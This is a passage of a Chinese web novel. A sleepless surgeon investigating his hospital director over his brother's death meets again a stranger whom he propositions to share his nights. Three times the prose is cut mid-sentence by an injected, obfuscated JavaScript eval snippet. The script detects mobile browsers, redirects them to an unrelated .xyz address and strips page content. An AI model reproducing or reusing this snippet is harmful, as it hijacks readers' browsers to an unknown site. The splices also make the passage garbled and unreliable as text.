色涂漆,四处少女风装饰画和摆件,两个大男人约在这种地方挺奇怪的。 堂食客人大多是年轻小姑娘,赵柯一眼看到秦朗,挥手示意:“这里。” 秦朗略微颔首,向他走去,刚落座便开门见山地问:“资料呢?” 赵柯递过去一个牛皮纸档案袋,“交通肇事逃逸致人死亡,判了九年,减刑到八年零六个月,去年十月刚出狱,目前下落不明。” 秦朗旋开白色棉线,袋中所有资料整理成册,仔细贴了标签。 他与赵柯本来算不上熟,球友而已。秦朗当年被迫离开海市后,偶尔通过赵柯打听消息,有时也会让他帮忙跑跑腿。赵柯是个聪明人,办事利索话也不多,久而久之,他成了秦朗在海市的眼线和传声筒。物质方面的报答当然少不了,甚至他的工作也是秦朗间接出面引荐的。 赵柯得了这么些年利益,对秦朗身份有着大致判断,同时多少有点伺机回馈的心思,一直没机会。恰巧秦朗回国又交代他办事,于是加倍尽心尽力,并已自作主张安排找人,一厢情愿地以为两人之间的差距在缩小。 秦朗塞回资料把档案袋放到一边,看了眼腕表,六点零八分,这才轻描淡写道:“这件事到此为止。” 赵柯愣了下,大为不解:“为什么?” 秦朗没接话,扬手叫来服务生点了杯黑咖啡。 服务生热情推介:“招牌草莓卷需要来一份吗?新鲜出炉的,不到五分钟。” “不用。”秦朗递还点餐牌,下意识看了眼窗外。 赵柯注意到了,秦朗从进店起就时不时向窗外张望,他顺着他的视线看出去,街道上只有往来车辆和等红灯的行人,并没什么特别。 六点十分,黑色Model-Y从落地窗前驶过,说明徐时行今天没加班。 秦朗不由自主弯起唇角,一个稍纵即逝的笑,继而收回视线,“这次并非以往那类杂事,查起来不容易。”随口的一句托辞,其实是不想他知道太多,没有直接讲明,只因为心情好了人也跟着柔和起来。 但听在赵柯耳朵里,就完全不是那么回事了,他心头一暖:“没关系,我不怕麻烦,你找人帮我调的岗位很轻松,完全不用加班。” “我已经找人在跟进了。”秦朗说。 侍应生送来饮品和咖啡,赵柯抢先把自己点的热饮跟秦朗的咖啡换了下,“睡眠不好,还是别喝咖啡了。” 秦朗面无表情地看他,“为什么这么说?” 赵柯抿了抿唇,试图从他的表情里读取一些有用信息,但失败了,于是鼓起勇气说:“你上次让我约的医生,是睡眠方面的。我还在你车上看到几本相关书籍,如果不是你我猜不到其他……” 他的话没说完,便被秦朗沉声打断,“是我。” 赵柯犹豫半响,小心翼翼问:“上次那个医生还行吗?” 他见秦朗默不作声,这才意识到自己越界了,试图往回找补,“我的意思是,要不要接触其他专家。陵医大百年校庆,会有多位业内更加权威的教授参加。” 秦朗终于开口:“什么时候?” “下周六。”赵柯整个人肉眼可见地松弛下来,“我来搞定邀请函。” “不用。”秦朗伸手把换走的那杯咖啡拿了回来,慢条斯理喝了一口才说:“你应该很清楚,我不喜欢自作聪明的人,更不喜欢有人揣测我的心思替我做决定。” 赵柯垂眸,艰难地开口,“对……对不起,是我逾越了。” “交代什么事办什么事,办得好自有你应得的酬劳。但比起能力,本分更重要。”秦朗盯着赵柯,觉得自己回国以来是跟他走得太近了,才让他有机会窥探到这一切,必须断了后患,“还有,我所提供给你的,对我来说不值一提。所以不要试图在我们之间找什么平衡,毫无意义。” 赵柯忙不迭点头:“知道了,我以后不会了。” “知道就好。”秦朗说完便起身走出甜品店,按响车锁的同时电话拨出去,“我要一张陵医大校庆的邀请函。” 8. 第 8 章 海市消遣娱乐的场所很多,最热闹还是岚屿。它像镶嵌在瓯江上的一颗夜明珠,东临市区繁华商业中心,背靠天然湿地公园,由跨江大桥链接贯通。岛上除了环岛景观廊道,还坐落着大小几十家餐厅酒吧,热闹的、安静的、有现场乐队驻唱的,满足各类消遣需求。 徐时行第一次来,位置是沈砚初以赔罪名义订的,但他迟到超过半小时了。 这是一家专售精酿啤酒的清吧,徐时行在二楼露天散台慢悠悠喝了半瓶,终于把人等来。 沈砚初落座等不及开酒,抄起桌面上的半瓶一口气饮尽,喝完才拧着眉骂了句:“靠,真他妈苦,还一股焦味。” 徐时行忍不住怼他:“嫌苦你还喝完。” 他俩是大学室友,准确说大一上学期加下学期一个月,直到沈砚初下定决心退学,重新高考投身来钱更快的金融行业。即便相处时间不长,但关系却比别人更亲近,工作后经常凑年假一起滑雪潜水。 “口渴。”沈砚初叫来侍应生另外点了一打酒,而后习惯性掏出烟盒,咬了一支在嘴里反应过来,“忘了你烦这个味儿。” “没事,你抽你的。”徐时行说。 “算了。”沈砚初把烟塞了回去,“帮我搞张校庆邀请函。” 徐时行休假前就知道校庆这事儿,并不打算参加,正犯愁又用值班的借口会不会太敷衍,眼前这位半途退学的倒上赶着,原因只有一种。 他问:“有医疗项目需要搭线?” 沈砚初点了下头,毫不避讳地坦白:“有投资人在接触,工作得做到前面,先混个脸熟准没错。早知道当年就不退学了。” “当年不退学你就不用接触投资人,也不会有今天这个需求。” “……还真是,加班加多了果然影响智商。” 两人相视一笑,徐时行答应下来,“行,知道了。” “谢了。”沈砚初开了两瓶新叫的酒,递过去一瓶,“你去么?” 也就是随口一说,他知道徐时行不喜欢应酬,这种场合能不去则不去。 果然他摇了摇头。 沈砚初拿起酒瓶跟徐时行的碰了碰,抛出新话题:“直升机滑雪怎么样,是不是很刺激?” 十点过,隔岸商业街区的灯渐熄,岛上夜生活才刚刚开始。远处乐队一曲结束,鼓点声夹杂着欢呼,随风隐约传来。 徐时行握着瓶酒,迎风灌下一大口,“还行,小遇应该会喜欢。如果你们年假想去,我把中介推给你。” “好端端的扯他做什么。”沈砚初失笑,“说你呢,有没有趁我不在来点不一样的体验?” 问者无心,听者心怀鬼胎,低头默默喝酒。 沈砚初自以为懂了,拉长了音:“你啊,别把日子过成苦行僧似得行不。”他将手臂搭在身侧空位的椅背上,“一辈子还长,还真就这么孤家寡人下去啊。你得多出来社交,多接触年轻身体。” 徐时行:“……”。 虽说海市冬季罕见有零下的温度,夜风一吹还是冷的,难怪二楼只有他们一桌。他拢了拢大衣领口,生硬岔开话题:“别说我了,说说你。” 话音刚落,桌面上属于沈砚初的手机嗡嗡震动。他瞥到一眼屏幕就犯头疼,难得晚上出来一趟想清静清静,毫不犹豫挂断,回了个在忙过去,“也别说我了,我更没什么可说,命比刚才那瓶酒还苦。金融圈里找不出跟我一样身子清清白白的人了。” 徐时行笑得不行,将刚才他那句话原封不动丢回去:“别把自己过成苦行僧行不。” “我们算是苦到一起去了。”沈砚初自嘲地笑,三十岁正盛年,有事业不缺钱,身材相貌不必说,各项功能也没毛病,却被个小崽子束缚住。究竟什么时候开始,生活从夜夜笙歌变成清汤寡水,他自己都说不上来,仿佛温水煮青蛙般自然而然。 “寄宿学校不是一个月只回来一次么?”徐时行顺着话问。 沈砚初低头回信息,一行字还没输完,对方又连发两条进来,“啊?你说什么?” “我说,小遇是不是在念寄宿学校。” “别提了,以为上了寄宿学校我就能撒手解放。”沈砚初无力看他一眼,继续低头编辑短信,边打字边吐槽:“小兔崽子开学两个月脚骨折一次,手脱臼一次,愣是没住几天宿舍。” 徐时行用玩笑语气点他,“这么巧?不会故意的吧。” 但显然当局者迷,沈砚初头也不抬地摆摆手,“不可能,脚踝红肿得厉害。再说他也没这个心眼,就是皮。” 徐时行心领神会,不再多说,“回吧,下次再约。” “回什么回,这才几点。”沈砚初终于舍得放下手机抬起头,“你难得不值夜班又能喝酒,下次约得到猴年马月。” “这季节喝啤酒怪冰的。”徐时行双手插进口袋,“把酒存了等天气暖和再来吧。” 沈砚初的心早跟着信息飘回家了,眼下台阶搭好了没理由不顺着下,“那行,刚好小东西说伤口疼,我回去看看。” 两人存了酒,一起下楼走出酒吧,一个等网约车,一个等代驾。 沈砚初良心过意不去,上次放人鸽子,这次主动把人约出来,还是自己有求于人,“要不明晚一起吃个饭?” “明晚不行,要回家。” “帮我给二老带个好。” 代驾比网约车来得快,沈砚初拉开车门坐上去,又心虚地降下窗:“生日快到了吧,我记得是冬天,给你送个礼物。” 徐时行隔着车门睨他,没好气地说:“上个月刚过,谢谢。” 什么由头不打紧,重点是送礼物,送出去心也就没那么虚了,沈砚初点开手机上的购物app,意味深长道,“是你现在很需要的,这方面我有经验。就当明年的生日礼物提前送了。” 徐时行来不及拒绝,叫的网约车恰好来了。难得周末不用待命,徒弟舒思远也没加班,大费周章过江喝酒,他是存了想借酒精助眠的心思,谁知潦草收场。 快到家时,徐时行提早下车,在街边便利店买了打听装啤酒。 谁知事与愿违,酒精同样救不了他稀碎的睡眠质量,接连两晚都睡得不好。 上午七点多,阳光是柔和的浅金色。 徐时行醒来第一时间查看监测手环,四小时十五分,比上周平均睡眠时间还少二十分钟。 他摘下手环,丢向床头柜,磕到白瓷香座发出脆响,一杠香灰随之震颤了下,撞向瓷壁复又堆叠在一起。 脑中不自觉响起程医生说的那句话—— “情绪刺激包括但不限于运动刺激、听觉视觉嗅觉各种感官刺激、甚至性刺激。” 相关的书籍文献快翻烂了,能解释自己当前情况的就只有,这是种从前未曾体验过的全新的情绪刺激。 这么些年清心寡欲,唯一的经历被衬托得弥足珍贵。就像一位在干旱沙漠里口干舌燥的旅人,对水的渴望远不及尝过一滴清泉的自己。 食髓知味永远是欲壑难填的开端。 欲壑难填?什么鬼形容!一定是睡眠不足又让他魔怔了。 冷水扑面,驱散乱七八糟的想法。徐时行从卫生间出来时,已然神清气爽,柔顺刘海被发蜡固定,露出光洁饱满的额头。今天周一,恰巧又是这个月最后一周,月例会将由蔡院长亲自主持,他比往常提早一小时收拾妥当。 徐时行走进玄关拉开鞋柜门,余光扫到墙角的购物袋,昨晚回家吃饭带回来的,钱慧女士只含糊说是备用拖鞋。他顺手带包装一起收进鞋柜,出了门。 公寓一梯两户,对门住着一对年轻小伙,徐时行看着他推着两个巨大的行李箱出来,顺手挡了下电梯门。 “谢谢,徐医生。”小伙子之前来借过止痛药,知道他职业。 “不谢。”徐时行按下电梯关门键,随口打招呼,“出远门啊。” 小伙子答:“不是,前几天房子租出去了。” 仿佛装修的噪音才没结束多久,徐时行内心诧异,但边界感令他没再多问。小伙子在一楼出电梯,徐时行去地下车库取车。 八点不到,医院大会议室里已经相当热闹,徐时行在墙边拣了个不起眼的角落坐,刚翻开记录本。 院长蔡卓康准时走上主讲台,投影幕布映出手术方案PPT。 诺大的会议室里瞬间安静下来,他字正腔圆的声音通过扩音器清晰传出。 一台复杂颅颌面骨折修复手术,两套截然不同的方案,蔡卓康用十多分钟简要概述,并脱稿分析利弊,一字未顿地讲了下来。平心而论,他的专业能力和领导能力都毋庸置疑。一度令徐时行恍惚,自己多年来的猜忌是否根本站不住脚。 那年他带着耳机做听力练习,而错过了弟弟的电话,直到母亲从外地反复拨打才发现。从此烙下心结,执拗地认为如果接了那通电话,就会有不同结局。 得知弟弟出车祸,徐时行整个人都是懵的,只凭本能机械地遵照母亲的话,跑进书房找出弟弟病历,打车送到弘诚医院。 徐时行快步上楼梯时,跟匆忙下来的蔡卓康打了个照面,听到正在打电 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988915|161603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话的他说:“车祸送来的男孩主动脉夹层B型……”当时没往深处想,事后越想越觉得不对。 舍近求远送往弘诚是其一,送医途中并未进行心脏复苏是其二。弟弟手机下落不明,现场肇事司机逃逸,通知家属的又是谁? 照常理来说,对失去意识人员进行心脏复苏是最优先级,救护人员的疏忽恰好规避了心脏病患者不能心肺复苏。处处充满着不合理,又处处‘刚刚好’。 多年后,徐时行在一则宣传视频里再次看到蔡卓康,他已贵为院长。仅为那一点飘忽不定的猜测,徐时行一意孤行放弃原本职业规划,入职弘诚。 回忆中断,思绪拉回,他的背被人戳了戳,听到后排有人小声说:“徐医生,谢谢哈。” 徐时行微微侧过一点头,看到科室同事林婷,一头雾水压低声音问:“谢什么?” 林婷晃了晃手中的纸杯,“咖啡呀,托你的福全科室都有。” 徐时行早上还没去办公室,直接来的会议室,他猜多半是哪个患者表达感谢点了外卖,得体回:“也不全是我一个人做的,大家都出了力,不用谢我。” “这患者还挺上道,知道大家周一早上需要续命。”林婷笑了下说,“昨晚才睡了六个小时,今天还得夜班,我都怕自己睡眠不足猝死。” 常年只睡四小时的徐时行:“……”倒也不至于。 会议全程两小时,不拖沓没官腔,高效且高质。快结束时,蔡卓康扫视全场,最终目光跟徐时行交汇。 徐时行猜他有话要对自己说,便特意放慢动作等了等。见蔡卓康跟科室主任又聊了两句,朝门这边走过来,他才适时起身,主动打招呼:“院长。” 蔡卓康和蔼一笑,与几分钟前讲台上的他判若两人,“小徐啊,刚好找你聊两句,我们边走边说。” “好。”徐时行慢半步跟上前。 他们随着鱼贯而出的人群走在最后,蔡卓康徐徐道:“等审查小组来过,你就该动一动了。这段时间工作上一定要更加仔细谨慎,别出什么岔子。” 徐时行嗯了声,他没法跟院长说实话,只能走一步看一步,“我一定多加小心。” “别紧张,不是让你汇报工作,就简单聊聊天。”蔡院长清了清嗓子,语气更加亲和起来:“有兄弟姐妹吗?” 徐时行愣了下,“没有。” “独生子,那家里挺冷清的。”话虽如此说,蔡卓康满意地点点头,“我记得你本科是陵医大毕业,这次百年校庆阵仗不小。” “是有听说。” 蔡卓康开门见山地说:“就不跟你兜圈子了,周六陵医大校庆,放不方便带晓晓一程。” 晓晓是他的独生女,今年刚本科毕业,在一家眼科医院实习。 蔡卓康见徐时行迟迟没答应,说:“如果不方便……” 比起从社交老手口中套信息,肯定是职场新人更容易,这样的念头在徐时行脑中一闪而过。 “方便的。”他快速在心里盘算合适说辞,“我刚才在想……论坛结束时间不固定,可能开车更合适。” 蔡卓康一连说了三个好,看徐时行越看越满意,拍拍他的背,“开车好,开车确实更随机应变。以前不理解做家长为什么放不开手,现在完全能感同身受。”说着他重重叹了口气,让人有种遗憾却无奈的错觉。 临近十点,二人在导诊台附近分开,徐时行搭电梯上行,刚出梯门便被人叫住,“徐医生!” 徐时行看了他两秒,脸有印象,但跟具体的人匹配不上。 “曹开宇,左侧脸颊囊肿,用激光开的那个。”曹开宇说着指了指已基本愈合的伤口。 “挺好,不仔细看基本看出来。”说病例徐时行就能对上号了,激光切开囊肿后完整取出,甚至不需要再次复诊,“你今天是……?” 曹开宇轻轻挑了下眉:“答谢。” “咖啡是你买的?” “是啊,可惜他们说你可能直接去开会了。”曹开宇解锁手机,“看在我苦苦等了两小时的份上,能加好友吗?” “徐医生。”不远处,舒思远从诊室探出身叫了句。实习医生不需要参加月例会,他眼看面诊病人就要来了,这是来催人的。 徐时行没时间跟他继续打太极,反正他微信上没有任何个人信息,加就加了,于是拿出手机扫了二维码。 曹开宇得寸进尺:“周六有空吗?我可以约你吗?” 徐时行收起手机,淡淡道:“周六没空,上班时间不回复,私人问题也不回。” 9. 第 9 章 陵医大校庆庆典十点整举行,走高速一个半小时车程。徐时行到达小区门口时,比约定时间八点还早了十多分钟。昨晚毫无悬念又没睡多久,太阳穴处有根筋绷得发疼。为了有精力应付今天一天的行程,他难得买了杯咖啡给自己提神。 徐时行喝了口咖啡环顾四周,这是一片千禧年落成的老式小区,地段和配套设施都差强人意。以私立医疗机构院长的薪资水平,足以覆盖市中心大部分高档小区房价。蔡卓康住在这里,确实令人意外。 “师兄”——降下一半的车窗外有人叫他。 徐时行回过头,看到俯身探在窗口的一张素颜,娃娃脸,大眼睛,但神态和表情都跟蔡卓康如出一辙,“蔡晓晓?” 蔡晓晓拉开车门坐进来,边系安全带边打招呼:“早上好,师兄。”她的声音跟长相挺配,沙沙的很甜,“听我爸说师兄是陵医大2012届的,可以这么称呼你吧?” “可以。”徐时行挂挡启动,“怎么称呼都行。”他没什么跟非同事女性相处的经验,怕冷场尴尬,昨晚稍微做了点功课,“听说今晚市体育中心有演唱会……”一个还挺红的流量男团。 蔡晓晓嗯了声,“所以我琢磨着得提前出门等你,怕早上出城会堵车,没想到还是晚了。” 徐时行有些诧异,竟跟自己想到一起去了,继续找话题:“三甲医院门诊挺忙的吧?” “师兄,你是不是碍于我爸身份,带着什么聊天KPI来的啊?”蔡晓晓抱着背包眨眼笑,“我知道他想干什么,咱别理他,都什么年代了还搞撮合这套。你放心,我是坚定的不婚主义者。这次吧,主要是不想跟他闹太僵才答应的。我保证今天不给你添一点麻烦。” 她言语间落落大方,能看出从小被呵护得很好。 徐时行眸光闪了下,“蔡院长可能有自己的考量。” “他以前也不这样,最近不知道怎么回事,开口闭口让我早点找个靠谱对象。” “听语气,蔡院长管你比较多啊。”徐时行不自觉浮现钱慧女士大小事务一把抓的做派。 “那可不,我们家就我跟我爸俩人,他不管我没人管了。” 徐时行下意识道歉:“对不起。” 蔡晓晓并未觉得被冒犯,平静地说:“没事,不需要道歉。我妈在我很小时就去世了。” 徐时行宽慰了她几句,气氛逐渐轻松起来。蔡晓晓很健谈,他们一路畅聊。徐时行从她口中能够窥探一二,蔡卓康丧妻后至今未续弦,抚养幼女赡养岳父岳母尽心尽职,至少对女儿来说父亲无懈可击。 汽车到达目的地,蔡晓晓约了室友,她和徐时行在临时停车场分开,说好下午各自活动结束后再联系。 陵医大百年校庆不仅市里重视,甚至惊动了省领导。难怪安保升级了不止一个档次,安检处卡邀请函卡得很严。 现任校长特意将一切能延期的峰会论坛、学术会议、奖学金表彰,通通集中在这几天开展。更有杰出校友和坊间企业家,为学校捐实验楼盖图书馆的捐赠仪式,尽管实验楼和图书馆均已落成投入使用。 徐时行跟几个相熟的同届校友一起,先见了院里领导和老教授。他是第一届本硕博连读,又作为交换生出国留学。这样的光环难免令他关注度高。 当年执教的教授与徐父私交甚好,现已升任副校长,他揽过徐时行的肩膀,为他引荐市领导,“院里第一批本硕博连读毕业生,徐时行,也是那届唯一的交换生。” 副校长那点想炫耀的心思徐时行门清,适时伸出手,“您好。” “徐医生,我们见过。”市领导握住他的手亲切地打趣,“弘诚美容缝合,我儿子下巴磕伤还是特意去找你缝的。” 除开庆典和大小会议,都归为非正式场合,众人随即附和,跟着一起夸。 副校长高兴地一摆手,“你们快别捧杀他了,当年刚毕业都留不住人,现在更加。” 这样的应酬场面对徐时行来说,比连做两台手术还累,只能尴尬而不失礼貌地保持微笑,安静当好吉祥物。 正式晚宴设在市区酒店,中午仅提供简单的商务便餐。 从陵医大礼堂转场餐厅,徐时行好不容易逮到机会脱身,溜进露台角落躲清静,打算晚点再进去走个过场。 餐厅依人工湖建,视野开阔。 徐时行从露台往下看,一弯拱桥在湖面最窄处横过,两侧银杏挂黄。若不是今日校庆清场,湖畔休闲椅本是热闹的地方。 “怎么一个人在这儿?”身后传来一道声音,徐时行一听就知道是谁。 沈砚初是踩着点直接来的餐厅,这个时间已经有的放矢地发过一圈名片,刷完一波存在感,打算出来抽根烟透透气。 他远远看到徐时行,又把烟盒默默塞回西裤口袋,走到他身边。 徐时行手肘撑着护栏偏过头说:“跟你一样,你不也出来了。” 沈砚初自嘲地笑笑,熟练搭上他的肩,“礼物收到了吗?怎么样,用着可还行?” 那日岚屿分开后,两人就没再联系,邀请函都是直接托中间人寄送的。 徐时行隔天从物业取回个巨大的包裹,拆开一看,各式各样的成人小玩具,什么硅胶仿真的,什么热感高频的……能做出这种事情的朋友,他这辈子只交过一个,徐时行没眼多看,一股脑丢进衣帽间里。如果始作俑者自己不主动提,他已经忘了这回事。 餐厅有前后两个出入口,推门开开合合,不停有人进出,厅内笑谈声和背景音乐断断续续传来。 徐时行用手肘怼了沈砚初一把,示意他注意讲话分寸。 相比较他的羞于启齿,沈砚初不以为意,甚至有种终于抓到老友弱点的兴奋,故意逗他:“私下聊点成人话题怕什么,别人又听不到,你喜欢哪种,咱们小声交流交流。” 不是……这位仁兄,你的分贝都够穿墙了好吗,跟小声和私下不沾边。 一墙之隔是校庆接待主餐厅,青天白日朗朗乾坤,徐时行揉了揉原本就不舒服的太阳穴,觉得偏头痛又加重了,“闭嘴吧你!” “害什么羞,耳朵都红了。”沈砚初哪能轻易放过如此好机会,更加来劲,“我先说,我喜欢颗粒感强的。” “这么乐于分享,要不你写份八百字使用心得吧。”徐时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988916|161603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行横他一眼,扭头就走。 “八百字哪够,小瞧谁呢,怎么也得三千才能写明白。”沈砚初跟上去,“别走啊,都是进口货,很贵的好不好。要不是跟你关系好,我都舍不得送这么大的礼!” 大概是斗嘴过于投入,二人都没察觉餐厅后门处堵满了人,像是起了什么争执。 年轻安保面对他们站,能看到他正用手臂拦着门,义正言辞:“刚才在礼堂已经注意到你,再继续纠缠,我只能请同事来带你走了。” 被训的个挺高,在一众规矩正装中,他一身休闲打扮,的确格格不入,想忽略都难。 徐时行向来不爱凑热闹,更不管闲事,看了一眼就要往餐厅里拐,被沈砚初生生拉住,“去看看,里面更无聊。” 拒绝的话还未说出口,徐时行听到那个高的好声好气说:“我只想找黄教授请教两个问题,不会耽误很久。” 好耳熟的声音。徐时行觉得自己大概是被失眠折磨疯了,一点细枝末节的相似都会联想到那个陌生人,那段不怎么光彩的黑历史。 “好,麻烦出示一下邀请函。” 一张邀请函捏在秦朗手心快被捏烂了。是秦怀柔坑了他,电话里答应得爽快,结果故意给弄了张货不对板的邀请函。 字面意思的货不对板,秦朗到了入口处才发现,连颜色都跟别人不一样,仔细一看上面写着95周年。再抬头看横幅——热烈庆祝陵医大百年校庆。 就离谱!弄到五年前的邀请函,难度系数怎么也得倍增吧?! 说白了,秦朗能站在这里,全凭自己本事混进来。但却万万没想到身高太扎眼,着装又太过随意,直接被锁定。 越来越多的人注意到后门处,为了防止事态进一步扩大,年轻安保只想快点解决掉这个可疑人物,“拿不出来是吧,那别怪我冒犯了。”说着他举起对讲机,“湖畔餐厅后门来两个人,有人闹事。” “等等。”——— 所有人寻着声音看向徐时行。 他轻轻甩了一下胳膊,脱开沈砚初拉着他的手,在众目睽睽中走向人群,“他是跟我一起来的。” 这边嘈杂声终于引起餐厅内副校长的注意,出来一探究竟,看到徐时行,“小徐,怎么了?” 徐时行轻松一笑,“没什么,一点小误会。” 年轻安保当然认识校领导,一叠声:“对对对,是误会。” 副校长扫了秦朗一眼,没追根问底,转向徐时行交代他:“省里领导到了,进来打个招呼。” “好……”徐时行应了声,正常情况下他该转身离开了,可惜他现在头昏脑胀太阳穴欲裂,“一分钟,说两句话就来。” 副校长点点头应允,临走前又打量了秦朗一眼。 徐时行与秦朗隔廊而立,目光越过围观人群与他对视,秦朗的视线仿佛有实质重量般落在自己身上。 徐时行没有迟疑多久,迎着如炬目光中走过去,握住秦朗手腕,将人拉到一边,凑近低声说:“我帮了你,理应你欠我人情。但我不需要你为我做别的……”徐时行缓了缓,一鼓作气说:“能不能陪我睡?价格你开。” 10. 第 10 章 年轻安保劝散人群,沈砚初在一旁围观了全程,他朝徐时行吹了声口哨,表情耐人寻味,“认识啊?说什么了,靠那么近。好像还给人帅哥塞了张名片。” 徐时行知道躲不过,一语双关地说:“带你一起见领导,别多嘴。” “成交。” 一天行程终于在六点多结束,徐时行以第二天值班为由成功逃掉晚宴,在停车场接上蔡晓晓直奔高速。期间蔡晓晓多次提出,回程她来开车才算公平,都被徐时行拒绝了,无他,归心似箭。 周末的高速尚算通畅,入了城才正确认识到晚高峰的真实车流量。徐时行频繁踩刹车的空挡查看手机,这是他半小时里的第三次。 没有未接来电,没有陌生信息,没有好友申请。距离塞出名片超过六小时了,他所期待的都没有发生,心里不可名状的浮躁不经意流露出来。 蔡晓晓看了眼车载导航,说:“师兄,要不我前面路口下吧。” “不用,附近没地铁公交站。”徐时行锁掉手机屏幕,“这个点估计演唱会快散场了,不好打车。”最关键一点他没说,既然答应了要带她去陵市,自己就有义务妥当送她到家。 五公里路程,硬生生开了将近一小时才到。蔡晓晓推开车门时动作慢了慢,提议说:“师兄,导航上堵成绛红色,一时半会儿肯定通畅不了,要不去我家坐坐休息会儿。” 她见徐时行犹豫,又补充:“你刚才不是说,对我爸那篇颌面修复论文感兴趣吗,一小时堵在路上还不如……” 有兴趣是实话,只是没迫切到即刻拜读,但能进蔡卓康家里的机会,错过不一定还会有。 理智选择和良心挣扎须臾之间见分晓。徐时行解开安全带,“那叨扰了。” 蔡卓康家在一楼,带一方不大的院子,装修是十几年前旧样式,却打理地干净温馨。若非事先知道,定会联想到女主人的贤惠和勤快。 徐时行跟着蔡晓晓穿过客厅,来到书房。蔡晓晓半踮着脚,在书柜边翻翻找找,最终抽出一本书册递过去,“师兄你先看着,我去回个电话。” “好,你忙你的,谢谢。”徐时行接过来,大致翻了翻,注意力便被照片展示墙吸引了去。 大小不一的尺寸,除了几张全家福裱了框,其余均简单粗暴地贴在透明展示板上,一层盖一层,密密麻麻毫无章法。 大部分照片是蔡晓晓的生活记录。生日、毕业、获奖、乃至随意的一个鬼脸,短短的学生头像个小男生。 身后传来蔡晓晓的声音:“师兄,你喝茶还是咖啡?” “水就好。”徐时行不动声色收起手机说。 “黑历史被你发现了。”蔡晓晓自嘲地笑了下,打趣道,“小时候不会自己绑头发,只能剪成这种方便打理的发型。” 徐时行顺着她的视线重新回看那几张照片,“看起来小学似乎不是在海市读的?” “嗯,我爸以前在下面县城医院,初一那年工作调动,我们才搬来海市。”说话声随着她走回厨房渐小。 徐时行警觉地在心里倒推了下时间,她初一正好是弟弟出事那年,这未免太巧了。 他拿论文走出书房,在客厅沙发上坐下来。 手机叮声响,徐时行点开,期待的红色数字1如约而至—— 一则好友申请。 拇指在通过界面上方悬停住,眼下自己才是掌控者,一申请就通过会不会显得过于急切? 徐时行迫使自己安定下来,一个真正合格熟练的甲方,不慌不忙才对。 蔡晓晓拿了瓶矿泉水来,似笑非笑地打趣:“要不要这么明显啊,看了论文整个人气场都不一样了。” 徐时行不自然地合拢纸页,好掩盖自己这么久都没看完摘要的事实,“……临时有点事。代我向蔡院长问好。”说罢他站起身,“我就先走了。” “这也没过多久啊……”蔡晓晓嘀咕着送他出门,“高架还是堵吧。” 堵不堵另说,关键他无心继续坐下去。 徐时行重新回到车上,没直接启动,而是在夜色中急切地解锁了手机。 十分钟,是他认为适合‘不慌不忙’人设的时间,也是他贫瘠耐心的极限。 通过好友申请的下一秒,对方发来两张图片。一张是酒店名称,另一张是房间号码。 徐时行:…………会不会太直接了一点?这让自己那点小心思显得多余。 酒店是西江大道上的那家喜来登,跟他住处倒近,直线距离几百米,属于同个方向。 徐时行发动汽车点开导航,绕城高架依然整条都是醒目的红,宛若一盆冷水兜头浇下。 气血上涌的冲动劲褪去,残存理智一点点回归,从小到大所受教养自本能欲望中挣扎而出。 那人怎么回国了?他究竟是谁?又为什么出现在陵医大的校庆上? 总而言之,不能去,一旦踏出底线,将是比失眠问题更万劫不复的深渊。 手机提示音打破车内宁静。 【公平起见,觉得有必要让你也知道一些我的信息】 紧接着跳出四张图片,依次是身份证、护照、金融专业□□截图。 徐时行滑动手机屏幕的手指轻颤,震惊程度不亚于中午见到他那会儿。 他闭上眼睛,深吸了口气,缓缓吐出。如果睁开眼时看到十字路口的指示灯是绿色,那就去。 如果是红色……那就悬崖勒马,让他永远欠着这个人情。 心跳如同秒针转动,每一下都在超负荷运行。 手机持续震动,徐时行本能睁眼,比余光中稍纵即逝的黄灯先闯进视线的是新信息。 【今天去陵医大是为了见一位教授,我有个疗休养项目需要咨询他】 【这个点才加你是因为刚回到酒店,堵了很久】 回去才申请好友是因为证件在酒店。 徐时行心头一震,自己只字未回,他就交了满分答卷。 一张夜景图随即滑出,繁华街道反射着霓虹斑斓,车灯在夜色中连成一道道光弧。是分享了同一场晚高峰的拥堵现场,倏尔,乱糟糟的心平静下来。 徐时行点进输入栏,输入——【那见到了吗?】 秦朗几乎秒回:【托你的福,见到了】 跟着是一条语音,点开,密闭的车厢内响起秦朗低沉而温柔的嗓音:“所以,你什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988917|161603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么时候来讨回你的人情?” 徐时行险些拿不稳手机,心速应激性加快。 十字路口的指示灯由红转绿,他挂挡启动,手机抵在唇下,摸棱两可地回他:“还没上高架,很堵。” 秦朗这次换回了文字:【没关系,我等你。】 汽车汇入主干道,成为光弧中的一个点,不知不觉间似乎堵车也没那么难挨了。 快到喜来登时,秦朗的微信语音电话打了进来,车载蓝牙自动接听,“看到你车了,我在路边。” 